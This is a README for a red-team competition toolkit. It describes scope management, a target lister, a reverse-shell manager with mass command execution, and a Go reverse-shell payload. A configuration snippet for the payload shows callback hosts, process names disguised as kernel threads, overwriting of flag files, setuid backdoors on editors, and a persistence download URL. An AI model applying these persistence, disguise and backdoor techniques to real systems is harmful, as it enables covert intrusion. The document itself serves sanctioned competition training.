Skip to content

Latest commit

 

History

History
146 lines (104 loc) · 5.11 KB

README.md

File metadata and controls

146 lines (104 loc) · 5.11 KB

C3T NCX Toolsuite

setup.sh

This script will install all the tools needed to run the C3T NCX Toolsuite. It will also install the C3T NCX Toolsuite.

Select host mode only if you are the team captain. Select client mode if you are a team member.

In order for the tools to work properly, you must NOT run the script as root.

The computers used for the engagement need to be able to talk to each other.

To launch it:

./setup.sh

And follow the prompts.

Red Tools

Area of Operations

Used to set the scope of the competition and blacklist friendly hosts from being scanned.

It is recommended to run this script at the beginning of the competition to set the scope and blacklist friendly hosts. This will prevent the scanner from scanning friendly hosts and will prevent the scanner from scanning out of scope hosts. Additionally it allows other tools to check if a host is in scope or not.

When you run the script, it will open up a command prompt. The commands are as follows:

python redtools/area_of_operations.py

Valid commands are: ls, add, rm, exit, blacklisted, blacklist, unblacklist

ls : List all the in scope ranges.

add : Add a range to the in scope ranges.

rm : Remove a range from the in scope ranges.

blacklisted : List all the blacklisted ranges.

blacklist : Blacklist a range.

unblacklist : Unblacklist a range.

Forward Observer

Used to print lists of hosts for exploit scripts.

It is recommended to use this script to print lists of hosts for exploit scripts. This will allow you to easily copy and paste the list of hosts into your exploit script.

When you run the script it will spit out a list of targets. The targets are seperated by a space by default. You can change the seperator with the -s flag. You can also add a newline after each target with the -n flag.

Targets will NOT be printed if they are blacklisted or out of scope, and it will print a warning if you try to add a target that is blacklisted or out of scope.

usage: forward_observer.py [-h] [-s SEPERATOR] [-n] target [target ...]

Print a list of targets to use in custom scripts

positional arguments:
  target                The target ip range to print

options:
  -h, --help            show this help message and exit
  -s SEPERATOR, --seperator SEPERATOR
                        The seperator to use when parsing the target
  -n, --newline         Print a newline after each target

You can pipe the output of this script into another script like so:

python redtools/forward_observer.py | ./exploit_script.py

or you can write the output to a file like so:

python redtools/forward_observer.py > targets.txt

Bermuda

Reverse shell manager.

It is recommended to run this script in a screen or tmux session. This will allow you to keep the reverse shell alive even if you disconnect from the server.

When you run the script it will open up a command prompt. The commands are as follows:

help: print this help message
exit: exit the server
mass_command: run a command on all the reverse shells that match the given IP range
        Usage: mass_command (target ip glob range) (command) ...
shells: list all the reverse shells that are connected
interact: interact with a reverse shell
        Usage: interact (shell_ip:shell_port)
attach: interact with a reverse shell
        Usage: attach (shell_ip:shell_port)
connect: interact with a reverse shell
        Usage: connect (shell_ip:shell_port)
upload: upload a file to a reverse shell
        Usage: upload (ip glob) (filename)
download: download a file from a reverse shell
        Usage: download (shell_ip:shell_port) (filename) [directory]

Payloads

claymore

Smart reverse shell.

  • Reconnects back periodically.
  • Renames itself to something unsuspicious.
  • Overwrites the flag file constantly.

Usage

Remember to change the options in the script. YOU MUST DO THIS

        //Define the list of IP addresses to connect to.
        ips := []string{"127.0.0.1", "localhost"} // Example list of IP addresses
        //Define the port to connect to.
        port := "1984"
        //Define the paths to all the ctf flag files to overwrite with our own.
        flagFiles := []string{"/home/justin/flag.txt"} // Example list of flag file paths
        //define the string to overwrite the flag files with.
        flag := "flag{this_is_a_fake_flag}"
        //define the list of binaries to add the suid bit to. (ROOT ONLY)
        setuidBackdoorBinaries := []string{"/usr/bin/vim", "/usr/bin/vi", "/usr/bin/nano", "/bin/ed"}
        //rename the process to something less suspicious.
        list_of_unsuspicious_filenames := []string{
                "[kworker/0:1]",
                "(sd-pam)",
                "[irq/16-vmwgfx]",
                "[scsi_eh_29]",
                "[acpi_thermal_pm]",
                "[kworker/0:0-events]",
                "[migration/0]",
                "[ksoftirqd/0]",
        }
        //Define the address to download this binary from for the persistence.
        downloadURL := "http://127.0.0.1:5000/hello"